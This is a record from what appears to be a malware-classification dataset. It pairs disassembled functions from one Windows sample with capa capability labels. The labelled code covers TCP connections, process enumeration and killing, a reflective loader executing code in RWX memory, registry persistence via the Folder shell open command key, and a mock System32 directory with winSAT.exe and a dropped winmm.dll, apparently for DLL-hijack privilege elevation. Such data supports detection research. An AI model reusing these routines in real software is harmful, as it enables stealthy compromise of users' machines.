joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4108dc
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x818
mov eax, dword [ecx]
push ebx
push esi
push edi
push 6
push 1
push 2
pop ebx
push ebx
mov si, dx
mov dword [ebp - 4], eax
call dword [sym.imp.WS2_32.dll_socket]
mov ecx, dword [ebp - 4]
mov edi, eax
push 0x10
lea eax, [ebp - 0x14]
mov word [ebp - 0x14], bx
push eax
push edi
mov dword [ebp - 0x10], ecx
mov word [ebp - 0x12], si
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x41094a
mov esi, 0x802
lea eax, [ebp - 0x818]
push esi
push 0
push eax
call fcn.00401052
add esp, 0xc
lea eax, [ebp - 0x818]
push esi
push eax
lea eax, [ebp - 4]
push eax
push ebx
call dword [sym.imp.WS2_32.dll_InetNtopW]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x410951
Capabilities:
Create thread

Disassembly:
push ebx
push esi
push edi
push 0x108
mov ebx, edx
mov edi, ecx
call fcn.00401085
mov esi, eax
pop ecx
test esi, esi
je 0x410992
test edi, edi
je 0x410992
push edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
xor eax, eax
mov dword [esi + 0x104], ebx
push eax
push eax
push esi
push 0x410363
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
inc eax
jmp 0x41099b
push esi
call fcn.00401099
pop ecx
xor eax, eax
pop edi
pop esi
pop ebx
ret

Function at 0x410bbe
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
push 2
push 0
push dword [ecx]
mov edi, edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
cmp esi, 0xffffffff
je 0x410c38
push 0x10
xor ebx, ebx
inc ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x410c38
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x410c38
mov ecx, dword [eax + 0x14]
mov edx, dword [eax + 0x28]
mov dword [edi], ecx
mov cx, word [eax + 0x1a]
mov word [edi + 4], cx
mov cx, word [eax + 0x18]
mov eax, edx
and eax, ebx
mov word [edi + 6], cx
mov dword [edi + 8], eax
mov ecx, edx
mov eax, edx
shr ecx, 3
shr eax, 1
and ecx, ebx
shr edx, 5
and eax, ebx
and edx, ebx
mov dword [edi + 0xc], eax
push esi
mov dword [edi + 0x10], ecx
mov dword [edi + 0x14], edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, ebx
jmp 0x410c3a
xor eax, eax
pop edi
pop esi
pop ebx
ret

Function at 0x410c8a
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
lea eax, [ebp - 0x208]
push esi
push edi
push 0x208
push 0
push eax
mov esi, edx
mov edi, ecx
call fcn.00401052
add esp, 0xc
lea eax, [ebp - 0x208]
push 0
push esi
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea eax, [ebp - 0x208]
mov ecx, edi
push eax
call fcn.004036f7
mov eax, edi
pop edi
pop esi
leave
ret
Function at 0x410d2d
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
push edi
xor edi, edi
mov esi, ecx
push edi
push edi
push edi
push 3
push edi
push edi
push edi
push 0xffffffffffffffff
push edi
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
push edi
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
js 0x410d9f
lea eax, [ebp - 4]
mov dword [ebp - 4], edi
push eax
push 0x419cc8
push 0x17
push edi
push 0x4174b0
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x410d9f
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x10]
push edx
push edi
push edi
push 0x80
push edi
push edi
push edi
mov dword [ebp - 0x10], edi
mov ecx, dword [eax]
push str.rootCIMV2
push eax
call dword [ecx + 0xc]
test eax, eax
jns 0x410db1
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push 0x417668
mov ecx, esi
call fcn.004036f7
mov eax, esi
pop edi
pop esi
leave
ret
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0xc]
push edx
push edi
push 0x20
push str.SELECT_Name_FROM_Win32_VideoController
mov dword [ebp - 0xc], edi
mov ecx, dword [eax]
push 0x419cc0
push eax
call dword [ecx + 0x50]
test eax, eax
jns 0x410de0
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x10]
jmp 0x410d99
mov dword [ebp - 8], edi
jmp 0x410e1c
test eax, eax
js 0x410e36
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x28]
push edi
push edi
push edx
mov ecx, dword [eax]
push edi
push str.Name
push eax
call dword [ecx + 0x10]
test eax, eax
js 0x410e13
cmp word [ebp - 0x28], 8
je 0x410e56
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 0x14]
push edx
lea edx, [ebp - 8]
push edx
mov ecx, dword [eax]
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
cmp eax, 1
jne 0x410de5
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
jmp 0x410dad
push dword [ebp - 0x20]
jmp 0x410da4

Function at 0x41135c
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
mov edi, ecx
xor ebx, ebx
cmp dword [edi], ebx
je 0x411372
lea ecx, [edi + 0xc]
call fcn.0041178e
mov ecx, dword [ebp + 0xc]
push esi
mov dword [ebp - 4], ebx
call fcn.00406045
push dword [ebp + 0x10]
mov esi, eax
push ebx
push ebx
push dword [edi + 8]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebx
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push esi
push dword [edi + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov ebx, eax
push esi
call fcn.004030cc
mov ecx, esi
call fcn.00406034
cmp dword [edi], 0
pop esi
je 0x4113c4
push dword [edi + 0xc]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
pop edi
mov eax, ebx
pop ebx
leave
ret 0xc
Function at 0x411446
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x288
and dword [ebp - 0x10], 0
push ebx
push esi
push edi
push 5
pop eax
mov edi, ecx
mov dword [ebp - 0xc], eax
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x14], eax
call fcn.004018c7
lea eax, [ebp - 0x284]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ebx, eax
cmp ebx, 0xffffffff
jmp 0x41151d
and dword [ebp - 0x34], 0
test byte [ebp - 0x284], 0x10
je 0x4114a1
xorps xmm0, xmm0
mov dword [ebp - 0x24], 1
movlpd qword [ebp - 0x2c], xmm0
jmp 0x4114b7
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 0x268]
and dword [ebp - 0x24], 0
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], ecx
lea eax, [ebp - 0x258]
push eax
lea ecx, [ebp - 8]
call fcn.004036f7
push eax
lea ecx, [ebp - 0x34]
call fcn.00403549
mov ecx, dword [ebp - 8]
call fcn.00405feb
and dword [ebp - 8], 0
lea eax, [ebp - 0x34]
sub esp, 0x18
mov esi, esp
mov ecx, esi
push eax
call fcn.0040373f
mov eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x18]
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x28]
mov dword [esi + 0xc], eax
mov eax, dword [ebp - 0x24]
mov dword [esi + 0x10], eax
call fcn.004017c8
mov ecx, dword [ebp - 0x34]
call fcn.00405feb
lea eax, [ebp - 0x284]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x411483
lea eax, [ebp - 0x18]
mov ecx, edi
push eax
call fcn.004013b3
mov ecx, dword [ebp - 0x18]
test ecx, ecx
je 0x41153b
push ecx
call fcn.00401b27
mov ecx, dword [ebp + 8]
call fcn.00405feb
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x41154a
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
mov edi, ecx
mov ecx, 0x208
mov dword [ebp - 8], edi
call fcn.00406099
and dword [ebp - 0x1c], 0
lea ecx, [ebp - 0x24]
push 5
mov ebx, eax
pop eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x20], eax
call fcn.00401a48
push ebx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
mov esi, eax
cmp esi, 0x104
jbe 0x4115ac
xor ecx, ecx
push 2
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
call fcn.00406099
mov ebx, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
xor esi, esi
cmp word [ebx], si
je 0x411625
push ebx
lea ecx, [ebp - 4]
mov dword [ebp - 0x14], esi
call fcn.004036f7
push eax
lea ecx, [ebp - 0x14]
call fcn.00403549
mov ecx, dword [ebp - 4]
call fcn.00405feb
push dword [ebp - 0x14]
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
sub esp, 0xc
mov edi, eax
mov esi, esp
mov dword [ebp - 0x10], edi
lea eax, [ebp - 0x14]
mov ecx, esi
push eax
call fcn.0040373f
mov eax, dword [ebp - 0xc]
lea ecx, [ebp - 0x24]
mov dword [esi + 4], edi
mov dword [esi + 8], eax
call fcn.00401955
lea ecx, [ebp - 0x14]
call fcn.00403373
mov ecx, dword [ebp - 0x14]
lea ebx, [ebx + eax*2]
add ebx, 2
call fcn.00405feb
xor esi, esi
mov dword [ebp - 0x14], esi
cmp word [ebx], si
jne 0x4115b3
mov edi, dword [ebp - 8]
lea eax, [ebp - 0x24]
mov ecx, edi
push eax
call fcn.004013fa
mov ecx, dword [ebp - 0x24]
test ecx, ecx
je 0x41163d
push ecx
call fcn.00401b52
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x41165c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
cmp dword [esi], ebx
je 0x411673
lea ecx, [esi + 0xc]
call fcn.0041178e
push 2
push ebx
push ebx
push dword [esi + 8]
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [ebp + 8]
lea ecx, [ebp - 4]
push ebx
push ecx
push dword [eax + 4]
push dword [eax]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edi, eax
cmp dword [esi], ebx
je 0x4116a8
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x4116b1
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
mov esi, ecx
push edi
push edi
push 3
push edi
push 1
push dword [ebp + 8]
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esi + 8], eax
cmp eax, 0xffffffff
je 0x4116e5
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [esi + 0x14], eax
xor eax, eax
inc eax
jmp 0x4116ea
mov dword [esi + 8], edi
xor eax, eax
pop edi
pop esi
pop ebp
ret 8
Function at 0x411865
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov eax, 0x5a4d
mov dword [esi + 0x20], edi
cmp word [edi], ax
jne 0x411965
mov eax, dword [edi + 0x3c]
add eax, edi
cmp dword [eax], 0x4550
jne 0x411965
movzx ecx, word [eax + 4]
mov edx, 0x14c
cmp cx, dx
jne 0x4118fe
mov dword [esi + 0x40], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x24], eax
push dword [eax + 0x54]
push edi
call fcn.004030cc
mov ecx, dword [esi + 0x24]
and dword [ebp + 8], 0
movzx eax, word [ecx + 0x14]
lea ebx, [ecx + 0x18]
add ebx, eax
xor eax, eax
cmp ax, word [ecx + 6]
jae 0x41195d
sub esp, 0x30
mov ecx, esp
push ecx
push ebx
push edi
call fcn.00411fe2
lea ecx, [esi + 0x2c]
call fcn.00402312
mov eax, dword [esi + 0x24]
add ebx, 0x28
mov ecx, dword [ebp + 8]
inc ecx
mov dword [ebp + 8], ecx
movzx eax, word [eax + 6]
cmp ecx, eax
jl 0x4118d2
jmp 0x41195d
mov edx, 0x8664
cmp cx, dx
jne 0x41195d
xor ebx, ebx
mov dword [esi + 0x28], eax
mov dword [esi + 0x40], ebx
lea ecx, [esi + 0x18]
push dword [eax + 0x54]
push edi
call fcn.004030cc
mov ecx, dword [esi + 0x28]
xor edx, edx
movzx eax, word [ecx + 0x14]
add eax, 0x18
add eax, ecx
mov dword [ebp + 8], eax
cmp dx, word [ecx + 6]
jae 0x41195d
sub esp, 0x30
mov ecx, esp
push ecx
push eax
push edi
call fcn.00411fe2
lea ecx, [esi + 0x2c]
call fcn.00402312
mov ecx, dword [esi + 0x28]
inc ebx
mov eax, dword [ebp + 8]
add eax, 0x28
mov dword [ebp + 8], eax
movzx ecx, word [ecx + 6]
cmp ebx, ecx
jl 0x411933
xor eax, eax
inc eax
mov dword [esi + 0x3c], eax
jmp 0x411967
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret 4

Function at 0x411b3f
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0x30]
push esi
push edi
mov edi, dword [eax + 0xc]
add edi, 0x14
mov esi, dword [edi]
jmp 0x411b5f
mov ecx, dword [esi + 0x28]
call fcn.00411bfd
test eax, eax
je 0x411b68
mov esi, dword [esi]
cmp esi, edi
jne 0x411b51
xor eax, eax
pop edi
pop esi
ret
mov eax, dword [esi + 0x10]
jmp 0x411b65

Function at 0x411be3
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x411bfa
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
je 0x411bfc
xor eax, eax
ret
Function at 0x411ef1
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x10], edx
push edi
mov dword [ebp - 0xc], esi
call fcn.00411be3
mov ebx, eax
test ebx, ebx
je 0x411fdb
push 0x40
push 0x3000
push dword [ebx + 0x50]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x411fdb
movzx eax, word [ebx + 0x14]
add eax, 0x18
add eax, ebx
mov dword [ebp - 4], eax
push dword [eax + 0x14]
push esi
push edi
call fcn.0040102c
xor ecx, ecx
add esp, 0xc
xor eax, eax
cmp cx, word [ebx + 6]
jmp 0x411f94
movzx eax, ax
imul esi, eax, 0x28
mov eax, dword [ebp - 4]
push dword [esi + eax + 8]
mov eax, dword [esi + eax + 0xc]
add eax, edi
push 0
push eax
call fcn.00401052
mov ecx, dword [ebp - 4]
add esp, 0xc
push dword [esi + ecx + 0x10]
mov eax, dword [esi + ecx + 0x14]
add eax, dword [ebp - 0xc]
push eax
mov eax, dword [esi + ecx + 0xc]
add eax, edi
push eax
call fcn.0040102c
mov eax, dword [ebp - 8]
add esp, 0xc
inc eax
cmp ax, word [ebx + 6]
mov dword [ebp - 8], eax
jb 0x411f50
mov ecx, edi
call fcn.00411e1c
mov ecx, eax
mov esi, edx
mov eax, edi
cdq
sub eax, ecx
mov ecx, edi
sbb edx, esi
push edx
push eax
call fcn.00411c75
pop ecx
pop ecx
test al, al
je 0x411fd7
mov ecx, edi
call fcn.00411ce3
test al, al
je 0x411fd7
cmp dword [ebp - 0x10], 0
je 0x411fd7
mov eax, dword [ebx + 0x28]
push 0
push 1
push edi
add eax, edi
call eax
mov eax, edi
jmp 0x411fdd
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4120f8
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
push 0x44
xor ebx, ebx
lea eax, [ebp - 0x54]
push ebx
push eax
mov esi, ecx
call fcn.00401052
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0x10]
add esp, 0xc
mov dword [ebp - 0x54], 0x44
mov ecx, dword [eax]
mov eax, dword [ebp + 8]
push edx
lea edx, [ebp - 0x54]
push edx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ecx
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x412147
mov eax, dword [ebp - 0x10]
mov dword [esi], eax
xor eax, eax
inc eax
jmp 0x412149
xor eax, eax
pop esi
pop ebx
leave
ret 0xc

Function at 0x412155
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
push ebx
push esi
push 0
push 2
mov ebx, ecx
mov dword [ebp - 0x22c], 0x22c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x4121c7
lea eax, [ebp - 0x22c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x4121bc
push dword [ebx]
call dword [sym.imp.USER32.dll_CharLowerW]
push eax
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.USER32.dll_CharLowerW]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x4121cd
lea eax, [ebp - 0x22c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x41218d
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
pop ebx
leave
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x224]
jmp 0x4121c9
Function at 0x41221f
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
push ebx
push esi
push edi
push 0
push 2
mov ebx, edx
mov dword [ebp - 0x22c], 0x22c
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x41227b
lea eax, [ebp - 0x22c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x412270
cmp dword [ebp - 0x224], ebx
je 0x412285
lea eax, [ebp - 0x22c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x41225a
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
and dword [esi], 0
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x208]
mov ecx, esi
push eax
call fcn.004036f7
jmp 0x41227e

Function at 0x41229c
Capabilities:
Terminate process

Disassembly:
push edi
push ecx
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x4122c6
push esi
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
pop edi
ret
xor eax, eax
pop edi
ret
Function at 0x4122ca
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x66c
push ebx
push esi
push edi
push 0x228
xor esi, esi
lea eax, [ebp - 0x254]
push esi
push eax
mov ebx, ecx
call fcn.00401052
add esp, 0xc
mov dword [ebp - 0x258], 0x22c
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x20], esi
push 5
pop eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x24], eax
call fcn.00401735
push esi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x4124a3
lea eax, [ebp - 0x258]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x412374
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x28]
mov ecx, ebx
push eax
call fcn.0040136c
mov eax, dword [ebp - 0x28]
test eax, eax
je 0x4124d0
mov esi, dword [eax - 4]
imul edi, esi, 0xc
add edi, eax
test esi, esi
je 0x4124d0
sub edi, 0xc
mov ecx, edi
call fcn.00401468
sub esi, 1
jne 0x412360
jmp 0x4124d0
mov eax, dword [ebp - 0x250]
lea ecx, [ebp - 8]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x234]
push eax
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
call fcn.00403411
push dword [ebp - 0x250]
push esi
push 0x1410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, 0xffffffff
je 0x41242f
push 0x410
lea eax, [ebp - 0x668]
push 0
push eax
call fcn.00401052
add esp, 0xc
lea eax, [ebp - 0x668]
push 0x208
push eax
push 0
push esi
call dword [sym.imp.PSAPI.DLL_GetModuleFileNameExW]
test eax, eax
je 0x412404
lea eax, [ebp - 0x668]
push eax
lea ecx, [ebp - 0x10]
call fcn.004036f7
push eax
lea ecx, [ebp - 4]
call fcn.00403549
mov ecx, dword [ebp - 0x10]
call fcn.00405feb
and dword [ebp - 0x10], 0
jmp 0x412426
push 0x417ba4
lea ecx, [ebp - 0x14]
call fcn.004036f7
push eax
lea ecx, [ebp - 4]
call fcn.00403549
mov ecx, dword [ebp - 0x14]
call fcn.00405feb
and dword [ebp - 0x14], 0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x412451
push 0x417ba4
lea ecx, [ebp - 0x18]
call fcn.004036f7
push eax
lea ecx, [ebp - 4]
call fcn.00403549
mov ecx, dword [ebp - 0x18]
call fcn.00405feb
and dword [ebp - 0x18], 0
mov eax, dword [ebp - 0xc]
sub esp, 0xc
mov esi, esp
mov dword [esi], eax
lea ecx, [esi + 4]
lea eax, [ebp - 8]
push eax
call fcn.0040373f
lea eax, [ebp - 4]
push eax
lea ecx, [esi + 8]
call fcn.0040373f
lea ecx, [ebp - 0x28]
call fcn.00401612
lea ecx, [ebp - 0xc]
call fcn.00401468
lea eax, [ebp - 0x258]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
push 0
pop esi
test eax, eax
jne 0x412374
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x28]
mov ecx, ebx
push eax
call fcn.0040136c
mov eax, dword [ebp - 0x28]
test eax, eax
je 0x4124d0
mov esi, dword [eax - 4]
imul edi, esi, 0xc
add edi, eax
test esi, esi
je 0x4124d0
sub edi, 0xc
mov ecx, edi
call fcn.00401468
sub esi, 1
jne 0x4124c1
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret
Function at 0x412e2c
Capabilities:
Persist via default file association registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
lea eax, [ebp - 4]
push eax
push 0x20006
push 0
push str.SoftwareClassesFolder_shellopencommand
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x412e66
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor al, al
jmp 0x412e8e
push esi
push dword [ebp + 0xc]
push 1
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
je 0x412e8c
push esi
jmp 0x412e5c
mov al, 1
pop esi
leave
ret
Function at 0x412f55
Capabilities:
Copy file
Create directory
Create process on windows
Get common file path
Set registry value
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1848
call fcn.004011c0
push ebx
push esi
push edi
call fcn.0041111b
cmp eax, 1
je 0x413133
push dword [0x559cb0]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push 0x3c
xor edi, edi
lea eax, [ebp - 0x48]
push edi
push eax
call fcn.00401052
add esp, 0xc
mov dword [ebp - 4], edi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_Wow64DisableWow64FsRedirection]
mov esi, 0x800
lea eax, [ebp - 0x1848]
push esi
push edi
push eax
call fcn.00401052
add esp, 0xc
lea eax, [ebp - 0x1848]
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
lea eax, [ebp - 0x848]
push edi
push eax
call fcn.00401052
mov edi, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [ebp - 0x848]
add esp, 0xc
push esi
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x848]
push str.winSAT.exe
push eax
call esi
push 0x800
lea eax, [ebp - 0x1048]
push 0
push eax
call fcn.00401052
add esp, 0xc
lea eax, [ebp - 0x1048]
push 0x800
push eax
call edi
push str.winmm.dll
lea eax, [ebp - 0x1048]
push eax
call esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
xor edi, edi
push edi
push str._C:Windows__
call esi
push edi
push str._C:Windows_System32
call esi
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileW]
lea eax, [ebp - 0x848]
push edi
push str._C:Windows_System32winSAT.exe
push eax
call esi
push edi
push str._C:Windows_System32winmmd.dll
lea eax, [ebp - 0x1048]
push eax
call esi
call fcn.00412f0d
mov esi, eax
lea eax, [ebp - 0x1848]
push 0x1000
push eax
push 1
push edi
push 0x41a2b4
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
push edi
push edi
push 2
push edi
push edi
push 0x40000000
push str._C:Windows_System32WINMM.dll
cmp dword [ebp - 8], edi
jne 0x4130cf
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push edi
mov esi, eax
lea eax, [ebp - 0xc]
push eax
push 0x2e00
push 0x423408
jmp 0x4130e6
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push edi
mov esi, eax
lea eax, [ebp - 0xc]
push eax
push 0x3000
push 0x420408
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call ebx
lea eax, [ebp - 0x48]
mov dword [ebp - 0x48], 0x3c
push eax
mov dword [ebp - 0x38], str.C:Windows_System32winSAT.exe
mov dword [ebp - 0x34], str.formal
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x30], edi
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_Wow64RevertWow64FsRedirection]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret